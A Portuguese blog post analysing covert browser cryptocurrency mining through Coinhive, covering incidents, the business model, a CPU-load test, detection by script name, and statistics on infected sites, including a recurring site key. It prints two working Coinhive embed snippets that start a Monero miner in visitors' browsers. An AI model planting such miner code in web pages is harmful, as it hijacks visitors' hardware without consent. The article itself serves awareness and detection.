Você já minerou criptomoedas sem saber

Nesse post vamos explorar as formas “legítimas” pelas quais a mineração de criptomoedas pode ser imposta aos visitantes/usuários de aplicações web (mesmo sem o seu conhecimento), além dos efeitos que essa mineração pode ter sobre a infraestrutura do usuário.

Sucessivos eventos demonstram a popularização das criptomoedas e a atratividade da mineração como atividade econômica.

– Na última semana, milhares de sites oficiais de governos de diversos países foram afetados por um plugin malicioso de mineração de criptomoedas (Monero).

– Outro plugin chamado Browsealoud foi hackeado para permitir que um código sequestrasse CPUs com a missão de minerar moedas digitais sem o conhecimento ou consentimento dos usuários, descoberto pelo pesquisador Scott Helme.

– Um grupo de hackers ainda não identificado utilizou servidores da Tesla na nuvem da Amazon para mineirar criptomoedas, descoberta por especialistas da RedLock.

Publicidade, criptomoedas e consentimento do usuário

Explorando um novo modelo de negócio, uma empresa chamada Coinhive construiu um sistema para mineração de criptomoeda (Monero) por meio de aplicações web. Seu objetivo é monetizar o site com o poder de processamento do computador dos visitantes/usuários da mesma. A Coinhive repassa para o dono do site ou aplicativo 70% da mineração gerada pelos seus usuários.

“A Crypto Miner for your Website (…) Monetize Your Business With Your Users’ CPU Power”.

É um modelo de negócio original que procura explorar a necessidade de monetização de muitas aplicações web que viram reduzida suas opções pela proliferação e popularização de ferramentas de bloqueio de publicidade (ad blocks).

Esse modelo também tem apelo para aplicações que devido ao seu conteúdo (como pornografia, pirataria, violação de direitos autorais, entre outros), são proibidas ou banidas das agências de anúncio, como o Google AdSense.

Também constitui monetização mais lucrativa do que os tradicionais anúncios de produtos e serviços para as aplicações onde o usuário permanece mais tempo online, como em jogos, streaming, vídeos, músicas, conteúdo adulto, etc.

Num universo em que os usuários estão procurando por conteúdo gratuito vale aquele velho ditado: não existe almoço de graça. Na Internet mesmo os serviços que não cobram subscrição/assinatura precisam ser monetizados de alguma maneira.

Na maioria das redes sociais os dados pessoais do usuário são o produto (preferências, relações pessoais, profissionais, histórico) usado para construir publicidade dirigida mais eficiente.

Nesse novo modelo de negócio, inaugura-se a era em que a infraestrutura do usuário é o produto utilizado pelo proprietário do site, isto é, o produto explorado pelo provedor do conteúdo é a sua infraestrutura pessoal ou corporativa utilizada para acessar a aplicação web.

O código de mineração

A Coinhive oferece seus serviços por meio do site https://coinhive.com ou  https://coin-hive.com. O processo é rápido e simples. A empresa disponibiliza uma API (do Inglês Application Programming Interface) que permite facilmente incorporar o código de mineração em páginas Web. Basta se cadastrar na Coinhive para obter o código de identificação e em seguida incorporar o código de identificação e de programação nos seus respectivos sites ou Apps.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

        var miner = new CoinHive.User('SITE_KEY', user_name);

        miner.start();

</script>

Pronto! Esse é todo o código necessário que o proprietário de um site ou de um App necessita embutir em sua aplicação para forçar os seus usuários a minerarem Monero.

No código acima, toda a complexidade da mineração fica por conta do arquivo JavaScript coinhive.min.js, fornecido pela Coinhive em https://coinhive.com/lib/coinhive.min.js. O proprietário do site não precisa ter qualquer conhecimento técnico sobre criptografia e mineração de criptomoedas para ganhar dinheiro com isso.

É impressionante a maturidade do serviço oferecido pela Coinhive. O site tem uma construção visual profissional, com design elegante e leve.

É possível acompanhar em tempo real toda a evolução e lucratividade da mineração em um painel (dashboard) de administração e monitoramento. Além disso, a API possui várias opções de ajustes para anonimização e para evitar que o código de mineração trave o computador ou celular do usuário.

A Coinhive não requer a identificação do usuário, apenas a identificação do site ( exemplo abaixo). Além disso, é possível desabilitar a mineração para dispositivos móveis e/ou limitar a capacidade do processador do usuário dedicada à mineração (no exemplo deixou 30% livre para o próprio usuário).

<script src="https://authedmine.com/lib/authedmine.min.js"></script>

<script>

        var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});



        // Only start on non-mobile devices and if not opted-out

        // in the last 14400 seconds (4 hours):

        if (!miner.isMobile() && !miner.didOptOut(14400)) {

                miner.start();

        }

</script>

Outra funcionalidade agregada foi a mudança do CDN (Content Delivery Network) de coinhive.com para authedmine.com, onde a própria empresa admite que isso tem o objetivo de burlar os sistemas de bloqueio como o AdBlock.

Como se não bastassem as facilidades apresentadas até agora, vários projetos surgiram para simplificar ainda mais esse processo em diferentes plataformas.

  • coin_hive_android_sdk: projeto no GitHub para facilitar a implementação em Apps do Android.
  • Simple Monero Miner: plugin que facilita a incorporação do Coinhive no WordPress. Possui mais de 4 mil instalações. O WordPress é gerenciador de site/blog mais popular da Internet.
  • WP Monero Miner: outro plugin para o WordPress. Possui mais de mil instalações.

A empresa tem diversificado a linha de produtos ao disponibilizar outros dois serviços peculiares. Um encurtador de URL que só redireciona o usuário após uma breve sessão de mineração e um serviço antirobô alternativo ao Google reCAPTCHA, mas com a diferença de que no momento em que a validação do usuário ocorrer, simultaneamente opera a mineração de Monero.

O arquivo coinhive.min.js foi submetido para análise no site VirusTotal.com e foi considerado um código malicioso por 29 dos 61 antivírus testados.

Prova de conceito

A título de prova de conceito da capacidade de consumo de recursos de processamento do usuário, acessamos o site http://dzyqqwixizp.com que possui apenas o código de mineração da Coinhive e não apresenta qualquer conteúdo. Em uma máquina Dell equipada com processador Intel Core i7 de 2,8 GHz, 6 MB de cache e 16GB de memória RAM, ou seja, uma máquina doméstica com capacidade de processamento respeitável. Em poucos segundos o computador já estava com o sistema de arrefecimento em pleno funcionamento e apresentava 100% de consumo de CPU em todos os 4 núcleos de processamento, conforme figura abaixo.

Gerenciador de tarefas do Linux apresenta 100% de uso de CPU. No caso de dispositivos móveis, o alto consumo de energia faz com que a autonomia da bateria diminua de forma significativa.

Mapeamento do Coinhive

Identificar a implantação desse modelo de negócio que viabiliza a mineração de criptomoeda é relativamente simples. Trata-se de uma busca no html da página inicial (portas 80/http ou 443/https) em busca de arquivos javascript  “coinhive.min.js” e “authdmine.min.js“. Caso encontre algum desses arquivos você estará diante de uma aplicação web que implantou essa forma de monetização do equipamento do usuário/visitante.

A atual disseminação do Coinhive já alcançou 1.410 hosts distribuídos em 82 países, sendo que 28 deles foram geolocalizados para o Brasil.

Distribuição de hosts com Coinhive por país

Se considerarmos o Top 1 milhão pelo Alexa como critério de filtro para analisar a adesão ao Coinhive por domínio, observamos que 882 páginas já embutiram o código de mineração, conforme se observa da tabela abaixo.

Em relação aos sites identificados no Top 1 milhão pelo Alexa há um padrão que se repete em 34 domínios distribuídos em 20 hosts. É o token “T3z562MP2Zg1lIa7RUJy19d67woeZmJJ” que aparece veiculado em código utilizado pelo JavaScript do Coinhive.

Os domínios em que ele foi identificado foram criados sem preocupação fonética ou mnemônica e tem o objetivo de injetar o código em outra página (de onde se presume que seu nome não precise ser fácil para um visitante lembrar). Outro fator que reforça essa tese é o fato da página quando acessada não apresentar nenhum recurso visual para um usuário.

Mesmo com essas características que o tornam tão pouco atrativo para um usuário/visitante, o domínio dzyqqwixizp.com aparece na 435ª posição na lista de Top 1 milhão pelo Alexa. É um indicador de que o estratagema de mineração parece ser efetivo.

Considerando a distribuição pelos domínio de topo, o “.br” tem a sexta maior adesão entre as páginas no Top 1 milhão pelo Alexa. Se considerados apenas os domínios de topo de país o Brasil é o terceiro (atrás de Rússia – “.ru” e Irã – “.ir”).

Dentre as 19 páginas com domínio “.br” identificadas, algumas preenchem duas das hipóteses levantadas nesse artigo:

porno4.com.br (Alexa: 377.035) e  sexoamadorbrasil.com.br (Alexa: 686.478), de conteúdo adulto,

detonadojogos.com.br (Alexa: 260.912) e  droiddownbr.blogspot.com.br (Alexa: 678.923), de jogos eletrônicos,

As quatro são exemplos concretos de categorias de conteúdo que especulamos que se beneficiariam desse modelo de negócio de monetização por mineração.

Riscos decorrentes

A maturidade do modelo de negócio proposto pela Coinhive – o qual já está sendo copiado por outras empresas – sugere que a presença desse tipo de código JavaScript em aplicações web tende a se ampliar ao longo do tempo.

Como modelo bem sucedido, a mineração por meio de browser também será explorada por elementos maliciosos em busca de vantagens financeiras.

Exemplo disso pode ser obtido por uma busca rápida no site PasteBin.com. Nela encontramos mais de 60 ocorrências (inclusive algumas recentes) de códigos que utilizam o arquivo “coinhive.min.js” já com os ajustes de identificação configurados.

É razoável supor que hackers estão invadindo sites e aplicações web e/ou estão promovendo campanhas de Phishings e Spams para injetar dinamicamente o código de mineração, por meio da opção “/raw” dos serviços de compartilhamento de código. Essa técnica ofensiva torna a detecção do incidente pelo administrador da aplicação muito mais difícil e o ataque mais duradouro (logo, mais lucrativo).

Outros exemplos da potencial amplitude de aplicações vulneráveis são as 75 páginas vinculadas a entidades do governo brasileiro que apresentam (ativas) injeção de código publicitário indesejado, denominado de spamdexing, relatamos um caso desse tipo de ataquem em um portal da Câmara dos Deputados. Esse ataque que pode ser adaptado para injeção de JavaScript de mineração de criptomoedas, que será bem sucedido se a página for incapaz de filtrar a injeção de código.

Conclusão

O uso mineração de criptomoeda por meio de aplicações web pode ser uma alternativa legítima para monetização de serviços que outrora dependiam da inclusão de publicidade.

O uso desse tipo de recurso deveria ser precedido do consentimento do usuário da aplicação, pois seria uma forma consensual (entre provedor de conteúdo e usuário) de pactuar pela remuneração de um serviço prestado (p.ex. autorizando o uso de XX% do processador por XX minutos). O uso indiscriminado desse recurso sem o consentimento do visitante/usuário parece ferir algumas premissas elementares da neutralidade da rede.

O cenário mais preocupante, contudo, não é o dilema do consentimento entre provedores de conteúdo e os usuários para monetização de serviços online (ilustrado pela popularização dos ad blocks).

A hipótese da dupla vitimização parece inevitável e ocorrerá com frequência cada vez maior. Nela o emprego desse tipo de código JavaScript por elementos maliciosos ocorre sem o consentimento dos administradores das aplicações (hackeados, tem o código inserido contra sua vontade) e com o objetivo de explorar os recursos computacionais dos usuários/visitantes dessas páginas (terceiros atingidos diretamente pelo ataque).